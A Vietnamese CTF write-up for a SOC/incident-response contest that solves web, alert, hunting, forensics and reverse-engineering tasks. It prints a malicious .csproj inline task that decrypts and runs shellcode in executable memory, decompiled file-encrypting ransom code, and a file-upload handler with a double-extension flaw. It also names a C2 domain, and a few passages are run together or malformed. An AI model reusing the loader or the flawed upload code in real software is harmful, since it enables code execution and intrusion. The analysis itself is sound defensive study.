Flag: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Web access 04
Search google "/mgmt/tm/util/bash exploit"
Flag: CVE-2022-1388
Web01
Ở dòng 526 có Shell tạo ra sử dụng tiến trình w3wp.exe => IIS
Flag: iis
Web02
Flag: 1717702892
Alert 01
Flag: PAMAPPS02
Alert 02
Flag: 1657005120
Alert 03
filter hostname PAMAPPS02, có 2 process id ở cột source_process_id => 2328 => tra google
Flag: CVE-2022-22977
Content 02
CT03.001
Flag: LOGSOURCETYPENAME(devicetype)
CT03.002
Flag: LOGSOURCENAME(logsourceid)
CT03.003
Flag: RULENAME(creeventlist)
CT01
Flag: Credbility,Magnitude,Relevance,Severity
CT02
Flag: Display -> Rules
Hunting
Hunt01
Tìm trong file checkinject_unverified.csv, mình thấy có một file tên là SqurrelHP.exe. Thử tra trên VirusTotal không ra gì cũng như tra Google không có thông tin về phần mềm như vậy, ta có thể đoán nó là file bất thường.
Bài này mình phải mở hint để có thể tìm được mã độc. Ở trong hint đã có file đã parse sẵn. Mình mở file output_checkSideloadUnverified_checkinject.csv để tìm các file sideload. Do đây là CTF nên mình đã thu hẹp phạm vi tìm kiếm bằng cách filter đi các file có owner là NT AUTHORITY\SYSTEM và BUILTIN\Administrator đi vì mình nghĩ khi đã có user này rồi thì sẽ ít khi phải chạy mã độc sideload. Tiếp đến là mình filter các file có Verified cũng như có kết quả trên VirusTotal đi. Sau các thao tác trên thì file này sẽ chỉ còn 2k5 log. Mình hunt từ trên xuống dưới, các file mà xuất hiện ở nhiều máy mình sẽ bỏ qua. Và kết quả đến ở file này:
Tương tự như bài trước thì kết quả trên VirusTotal không trả ra gì, và userenv.dll là một dll trong Microsoft Visual C ++ Redistributable Package chứ không phải Unikey => bất thường
Flag: E4D084FE863EDA82C568430BC7A3AC27
Content 02
PING
Bài này thì chỉ cần để ý các gói tin ICMP, nó sẽ có các kí tự của flag ẩn trong trường data đó. Ghép lại bằng tay ta sẽ có flag.
Flag: flag{P1n9_70_D1E}
CATCH
Sử dụng suricata để chạy lệnh đã cho với file pcap, mình thu được vài output. Do đề bài có nhắc tới queryString nên mình chỉ cần search trên các gói tin giống trong output trả về của suricata là sẽ ra được flag.
Flag: fl4g{CAtch_M3_!F_you_c@n}
BLIND
Bài này thì mình có một file bao gồm rất nhiều các request log, và chúng có vẻ là hacker đang sử dụng SQLMap. Mình sử dụng Cyberchef để URL-decode cả file và lọc đi các thông tin thừa như GET, User-Agent, ...
Do đề bài nói về password, mình có thử grep password và có như sau:
Ghép các kí tự theo đúng thứ tự, mình sẽ có flag.
Flag: flag{y0U_4rE_lynX3yeD}
Forensic
FOR 01:
Với bài đầu này, mình tìm trong Security của Event Viewer và tìm từ khóa run2.bat.
Sử dụng đồng thời với filter xml sau:
[System[TimeCreated[@SystemTime>='2023-08-09T02:35:02.000Z' and @SystemTime<='2023-08-09T02:36:00.999Z']]]
Ở bài này, do đã có sẵn path của webshell và nó nằm trong ngày 26-05-2024, nên mình chỉ cần tìm tên của nó trong file log tương ứng. Ngay phía trên, mình thấy có url gần nhất là chức năng update Profile, có vẻ sẽ là nơi webshell được upload.
Dựa trên uri up webshell là API updateProfile, mình đã tìm dll liên quan trong source code và sử dụng Dotpeek để đọc code C#. Nó nằm trong EPS.QLTS.Services.WebAPI.Controllers\UserController:
[HttpPut]
public async Task updateProfile(UserProfile user)
{
UserController userController = this;
using (ITransaction ts = userController._userService.BeginTransaction())
{
user.Id = userController.CurrentUser.UserId;
if (user.AvatarChanged)
user.Avatar = string.IsNullOrEmpty(user.AvatarData) || string.IsNullOrEmpty(user.AvatarName) ? (string) null : FileHelper.SaveFile(user.AvatarData, user.AvatarName);
int num = await userController._userService.UpdateAsync<UserProfile, int>(userController.CurrentUser.UserId, new UserProfile[1]
{
user
});
ts.Commit();
}
}
Để ý thấy nó gọi tới hàm SaveFile để lưu thông tin avatar, có vẻ nó sẽ có cơ chế cho thấy cách hacker bypass. Mình đã tìm nó trong EPS.QLTS.Services.Helper\FileHelper.
public static string SaveFile(byte[] fileData, string fileName, string rootPath = null)
{
if (!FileHelper.ValidateExtension(fileData))
return "";
if (!string.IsNullOrEmpty(fileName))
{
string[] strArray = fileName.Split('.');
if (strArray.Length != 0)
{
int index = strArray.Length - 1;
string ext = strArray[index];
if (!string.IsNullOrEmpty(ext) && !FileHelper.IsValidExtension(ext))
return "";
}
}
if (rootPath == null)
rootPath = ConfigurationManager.AppSettings["FileUploadPath"];
if (!Path.IsPathRooted(rootPath))
rootPath = HttpContext.Current.Server.MapPath(rootPath);
string str = DateTime.Today.ToString("yyyy_MM_dd") + "/";
if (!Directory.Exists(Path.Combine(rootPath + str)))
Directory.CreateDirectory(Path.Combine(rootPath + str));
string path2 = str + Guid.NewGuid().ToString() + "_" + fileName;
File.WriteAllBytes(Path.Combine(rootPath, path2), fileData);
return path2;
}
Đọc code sẽ thấy nó chứa vuln về Double Extension. Theo lý thuyết thì .aspx.png, ... vẫn bypass được bài này, nhưng kết quả lại là đánh vào điều kiện !string.IsNullOrEmpty(ext).
Flag: enadocinfo.aspx.
Reverse
RE01:
Bài cho file jar. Đây là code sau khi decompile:
/* Decompiler 639ms, total 1208ms, lines 144 */
package com.socir.rejava;
import java.math.BigInteger;
import java.util.Scanner;
public class Rejava {
public static void main(String[] args) {
int[] Str = new int[13];
for(int i = 0; i <= 9; ++i) {
Str[i] = 0;
}
boolean YeuHayKhongYeu = true;
Scanner input = new Scanner(System.in);
System.out.println("Challenge 1: Take Everything From me but my...\n1. Friends\n2. Purpose\n3. Freedom\n4. Happiness\n5. Intellect");
Str[0] = input.nextInt();
if (Str[0] > 5) {
System.out.println("Please choose correct answer!");
System.exit(0);
}
System.out.println("Challenge 2: When is a light the brightest?\n 1. When it is uncovered\n 2. True light never fades\n 3. After the darkest night\n 4. ...\n 5. ...");
Str[1] = input.nextInt();
if (Str[1] > 5) {
System.out.println("Please choose correct answer!");
System.exit(0);
}
System.out.println("Challenge 3: What would you abandon to protect yourself?\n1. Nothing\n2. Everything\n3. ...\n4. ...\n5. ...");
Str[2] = input.nextInt();
if (Str[2] > 5) {
System.out.println("Please choose correct answer!");
System.exit(0);
}
System.out.println("Challenge 4: A picture of your love sits in front of you. What does it show?\n1. Your beloved sleeping under a willow\n2. Your family gathered around a diner table\n3. A distant beach under a clear blue sky\n4. An open road stretching into the hoziron\n5. The view from atop a mountain");
Str[3] = input.nextInt();
if (Str[3] > 5) {
System.out.println("Please choose correct answer!");
System.exit(0);
}
System.out.println("Challenge 5: You enter a dark room and hear somthing moving. What do you do now?\n1. I use my hand to hit it\n2. I turn on a light to see what is moving\n3. I am in defensive maner and wait for it to reveal itself\n4. I call out to it\n5. I shouted loudly");
Str[4] = input.nextInt();
if (Str[4] > 5) {
System.out.println("Please choose correct answer!");
System.exit(0);
}
System.out.println("Challenge 6: How will the world remember about you?\n1. As a hero\n2. As a normal human being\n3. As an artist\n4. As a scholar\n5. As a leader");
Str[5] = input.nextInt();
if (Str[5] > 5) {
System.out.println("Please choose correct answer!");
System.exit(0);
}
System.out.println("Challenge 7: Together, we...?\n1. Fall\n2. Fight\n3. Stand\n4. Soar\n5. Interbreed");
Str[6] = input.nextInt();
if (Str[6] > 5) {
System.out.println("Please choose correct answer!");
System.exit(0);
}
System.out.println("Challenge 8: You wake up, everyone has forgotten everything about you. What would you do?\n1. I keep living with my own way\n2. I make them remember me\n3. ...\n4. I become a better person\n5. ...");
Str[7] = input.nextInt();
if (Str[7] > 5) {
System.out.println("Please choose correct answer!");
System.exit(0);
}
System.out.println("Challenge 9: In my dream, I am...?\n1. Leaving evẻything behind\n2. In a new world\n3. A superman\n4. With those i love\n5. Living with the past");
Str[8] = input.nextInt();
if (Str[8] > 5) {
System.out.println("Please choose correct answer!");
System.exit(0);
}
System.out.println("Challenge 10: You have a secret. You will...?\n1. Share it\n2. Hide it\n3. ...\n4. ...\n5. ...");
Str[9] = input.nextInt();
if (Str[9] > 5) {
System.out.println("Please choose correct answer!");
System.exit(0);
}
System.out.println("Challenge 11: I lock at the night sky looking for a...?\n1. Life\n2. Answer\n3. Star\n4. Strength\n5. Peace");
Str[10] = input.nextInt();
if (Str[10] > 5) {
System.out.println("Please choose correct answer!");
System.exit(0);
}
System.out.println("Challenge 12: Beauty is...?\n1. Enchanting\n2. Distracting\n3. ...\n4. ...\n5. ...");
Str[11] = input.nextInt();
if (Str[11] > 5) {
System.out.println("Please choose correct answer!");
System.exit(0);
}
System.out.println("Challenge 13: Your diary is full of...?\n1. Stories\n2. Sketches\n3. Poems\n4. To-do lists\n5. Ideas");
Str[12] = input.nextInt();
if (Str[12] > 5) {
System.out.println("Please choose correct answer!");
System.exit(0);
}
System.out.println(Str[0] + Str[12]);
BigInteger b1 = new BigInteger("396078609314891933825673494155247262312815050451572675702454799882023073657665326629541106640627268633082803092589383353232403142725112797976404596821096464417586738432859825566213522713442484027733196367522486310147688118565978024835573929987058223930781156748056365542272437343976622792417461745500381157036657842926171343287974331824470003165200504970417702345142296049112842947152627718221799985897606357413584878327176061394683714363932809478745907554537681574042917907774415565948481778413963021916168013164917417773105933720249426490998416745519701548698990971558616991286852954365460335847806936031971795444604137083480071779635461995750013255019357626889325496781841702988081870832047915519270093912522090379611112790658737250572060941460311811357397601013756028215728675196364845115892503989449283338784301739977612298423788689251383716116963043938170515625896201692667995733539925283355275332548294202604162464551416741748254200618072179476567262840174541110887055360000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000");
int n2 = 100 * Str[10] + 10 * Str[11] + Str[12];
String x = "";
String y = "";
int i;
for(i = 0; i <= 9; ++i) {
x = x + Integer.toString(Str[i]);
}
for(i = 0; i <= 12; ++i) {
y = y + Integer.toString(Str[i]);
}
BigInteger b2 = new BigInteger(x, 10);
BigInteger b3 = b2.pow(n2);
if (!b3.equals(b1)) {
YeuHayKhongYeu = false;
}
if (Str[8] == 0) {
YeuHayKhongYeu = false;
}
if (100 * Str[6] + 10 * Str[7] + Str[8] != (10 * Str[11] + Str[12]) * (10 * Str[11] + Str[12])) {
YeuHayKhongYeu = false;
}
if (YeuHayKhongYeu) {
System.out.println("Flag: SOC_IR{" + y + "}");
} else {
System.out.println("You are good, but i just like you as a brother!");
}
}
}
Just use factordb:
Flag: SOC_IR{(5243521440112}
RE02:
Hình như cách làm đúng có động tới file exe, mà ban đầu mình không hiểu nó để làm gì nên đã làm chỉ cần shellcode.
Ở bài này, khi mình mở file .csprj, mình thấy có một đoạn mã base64 khá dài:
Và ở cuối mình thấy có một đoạn code C# như sau:
using System;
using System.Text;
using System.Runtime.InteropServices;
using Microsoft.Build.Framework;
using Microsoft.Build.Utilities;
using System.Security.Cryptography;
using System.Runtime.ExceptionServices;
public class Project : Task, ITask
{
private string _DataProject;
public virtual string DataProject
{
get
{
return _DataProject;
}
set
{
_DataProject = value;
}
}
[DllImport("kernel32", EntryPoint = "VirtualAlloc")]
private static extern IntPtr Alloc(IntPtr lpStartAddr, UInt32 size, UInt32 flAllocationType, UInt32 flProtect);
delegate void MyFunction();
[HandleProcessCorruptedStateExceptions]
public override bool Execute()
{
var inputArray = Convert.FromBase64String(DataProject);
var key = Environment.ProcessorCount + Environment.GetEnvironmentVariable("PROCESSOR_ARCHITECTURE") + Environment.GetEnvironmentVariable("PROCESSOR_LEVEL") + Environment.MachineName;
TripleDESCryptoServiceProvider tripleDES = new TripleDESCryptoServiceProvider();
var keyBytes = Encoding.UTF8.GetBytes(key);
using(var md5 = MD5.Create())
{
tripleDES.Key = md5.ComputeHash(keyBytes);
}
tripleDES.Mode = CipherMode.ECB;
tripleDES.Padding = PaddingMode.PKCS7;
var cTransform = tripleDES.CreateDecryptor();
var resultArray = cTransform.TransformFinalBlock(inputArray, 0, inputArray.Length);
tripleDES.Clear();
var funcAddr = Alloc(IntPtr.Zero, (UInt32)resultArray.Length, 0x1000, 0x40);
Marshal.Copy(resultArray, 0, funcAddr, resultArray.Length);
var myFunction = (MyFunction)Marshal.GetDelegateForFunctionPointer(funcAddr, typeof(MyFunction));
try
{
myFunction();
}
catch { }
return true;
}
}
Nôm na thì đây là một hàm mã hóa 3DES, với key được lấy như sau:
var key = Environment.ProcessorCount + Environment.GetEnvironmentVariable("PROCESSOR_ARCHITECTURE") + Environment.GetEnvironmentVariable("PROCESSOR_LEVEL") + Environment.MachineName;
Ở trong các tệp đính kèm, mình có file note.txt có nội dung như sau:
commandline: "C:\Program Files (x86)\BraveSoftware\CrashReports\BraveCrashHandler.exe" C:\Progra~2\BraveSoftware\CrashReports\BraveCrashHandler.csproj
systeminfo:
Host Name: ADMIN
OS Name: Microsoft Windows 10 Pro
OS Version: 10.0.19044 N/A Build 19044
OS Manufacturer: Microsoft Corporation
OS Configuration: Standalone Workstation
OS Build Type: Multiprocessor Free
Registered Owner: Admin
Registered Organization:
Product ID: 00330-80000-00000-AA337
Original Install Date: 4/2/2022, 9:34:15 PM
System Boot Time: 3/5/2024, 10:27:22 AM
System Manufacturer: System manufacturer
System Model: System Product Name
System Type: x64-based PC
Processor(s): 1 Processor(s) Installed.
[01]: Intel64 Family 6 Model 42 Stepping 7 GenuineIntel ~3300 Mhz
BIOS Version: American Megatrends Inc. 0504, 29/6/2012
Windows Directory: C:\Windows
System Directory: C:\Windows\system32
Boot Device: \Device\HarddiskVolume5
System Locale: en-us;English (United States)
Input Locale: en-us;English (United States)
Time Zone: (UTC+07:00) Bangkok, Hanoi, Jakarta
Total Physical Memory: 7.882 MB
Available Physical Memory: 4.619 MB
Virtual Memory: Max Size: 8.394 MB
Virtual Memory: Available: 4.746 MB
Virtual Memory: In Use: 3.648 MB
Page File Location(s): C:\pagefile.sys
Domain: WORKGROUP
Logon Server: \\ADMIN
Hotfix(s): 3 Hotfix(s) Installed.
[01]: KB5003791
[02]: KB5005611
[03]: KB5005699
Network Card(s): 1 NIC(s) Installed.
[01]: Realtek PCIe GbE Family Controller
Connection Name: Ethernet
DHCP Enabled: Yes
DHCP Server: 10.38.251.9
IP address(es)
[01]: 10.38.40.113
[02]: fe80::1187:b4b4:c9de:d729
Hyper-V Requirements: VM Monitor Mode Extensions: Yes
Virtualization Enabled In Firmware: No
Second Level Address Translation: Yes
Data Execution Prevention Available: Yes
Volume Serial Number: 7689-E1A1
Dựa trên nội dung của file trên, mình có thể tính ra được key sẽ là 4AMD646ADMIN, hay MD5 là 6094c13fbe36d14605432e0140030a02. Mình sẽ sử dụng CyberChef để decrypt đống Base64 xem có gì
Ở đây mình thu được một chuỗi bytes mà trong đó có cả sự xuất hiện của các hàm WinAPI, có thể đoán đây chính là một shellcode. Mình sử dụng tool shcode2exe để chuyển nó về exe và phân tích bằng IDA. (đoạn này mình chụp trên máy công ty, không hiểu sao ảnh có vẻ mờ)
Đầu tiên khi mình debug thì không hiểu sao nó lại cứ bị lỗi. Mình thử đọc về hàm StartServiceCtrlDispatcherA thì thấy nó trỏ tới function trong ServiceProc nên mình nhảy thẳng tới đó luôn.
Ở đây, nó có tạo một thread để chạy hàm này:
Hàm này sẽ lại gọi tới hàm sub_7ff6d3461884. Mình thấy một đoạn code gọi rất nhiều API, có cả các API để decrypt, nên mình nghĩ nó sẽ decrypt gì đó để thực thi.
Trong đó, key để decrypt là serial_number của ổ C, hay 7689-E1A1, patch vào mem vùng nhớ chứa key A1 E1 89 76, sau đó, nó thực hiện CRC32 để check xem key có đúng không, rồi thực hiện decrypt, kết quả decrypt lại là 1 đoạn shellcode khác và thực thi nó. Hàm này có parameter chứa một file PE, nên mình đã dump nó ra và phân tích.
Về file này thì nó sẽ sử dụng reflective process injection . Tiến hành debug mình sẽ ra được 1 url, có vẻ sẽ được coi là IOC nên mình nộp thử và ra được flag.
Flag: guangdongshop.net
RE03
Với bài này, mình có một file dump và 1 file exe. Đầu tiên mình sẽ load file exe vào trong IDA.
int wmain()
{
unsigned int v0; // eax
int i; // esi
HANDLE FileW; // eax
void *v3; // edi
signed int FileSize; // ebx
_BYTE *v5; // eax
signed int v7; // esi
HANDLE v8; // [esp+8h] [ebp-1Ch]
_BYTE *lpBuffer; // [esp+Ch] [ebp-18h]
DWORD NumberOfBytesRead; // [esp+10h] [ebp-14h] BYREF
char v11; // [esp+14h] [ebp-10h]
__int64 v12; // [esp+15h] [ebp-Fh]
char v13; // [esp+1Dh] [ebp-7h]
v11 = 1;
v12 = 0i64;
v13 = 0;
v0 = _time64(0);
srand(v0);
NumberOfBytesRead = 0;
for ( i = 0; i < 10; ++i )
*(&v11 + i) = rand() % 255;
FileW = CreateFileW(L"flag.txt", 0xC0000000, 3u, 0, 3u, 0x80u, 0);
v3 = FileW;
v8 = FileW;
if ( FileW != (HANDLE)-1 )
{
FileSize = GetFileSize(FileW, 0);
v5 = malloc(FileSize);
lpBuffer = v5;
if ( !v5 )
{
CloseHandle(v3);
return 0;
}
ReadFile(v3, v5, FileSize, &NumberOfBytesRead, 0);
v7 = 0;
if ( FileSize > 0 )
{
do
{
lpBuffer[v7] ^= *(&v11 + v7 % 0xAu);
++v7;
}
while ( v7 < FileSize );
v3 = v8;
}
SetFilePointer(v3, 0, 0, 0);
WriteFile(v3, lpBuffer, FileSize, &NumberOfBytesRead, 0);
CloseHandle(v3);
printf("Send 20k viettel to 0399806924 to restore your data\n");
system("pause");
}
return 0;
}
Có thể thấy, chương trình này sẽ đọc file flag.txt và xor với key có độ dài 10 kí tự, và các giá trị của key được tạo ra ngẫu nhiên sử dụng hàm rand(). Do không có vẻ có vuln gì nên mình nghĩ phải phân tích file memdump để tìm lại được key.
Do key được sinh ra và lưu ở trên stack của hàm main, để ý stack:
Như có thể quansát, có ba giá trị lâncậnbao gồm địachỉảo(VA) của flagđượcmãhóa, độ dài của falg và chuỗi khóa 10 ký tự. Để tìm ra key,mình sẽxácđịnh VA chứa giá trị flagđượcmãhóa, sau đó địnhvị chuỗi 8 byte bao gồm VA FLAG và độ dài của flag đã biết (là 0x18 byte). Để xácđịnh VA của flagđượcmãhóa, mình sẽ cho file dump vào IDA và sửdụngtính năng tìm kiếm của IDA (Alt + B) để tìm kiếm chuỗi flag đượcmãhóa có trong tệpflag.txt.
Có duy nhất 1 vị trí, vậy VA của flag sẽ là 0x59d4c8 .Do trong ram sẽ sử dụng little-endian, ta phải tìm kiếm chuỗi 8 bytes sau: C8 D4 59 00 18 00 00 00.Có 1 vị trí xuất hiện giá trị này:
Dựa trên những điều đã phân tích ở trên, key decrypt flag chính là: 7A BB 60 97 9A 9C 33 26 45 5C 55.
Sử dụng Cyberchef để xor, mình sẽ tìm lại được flag.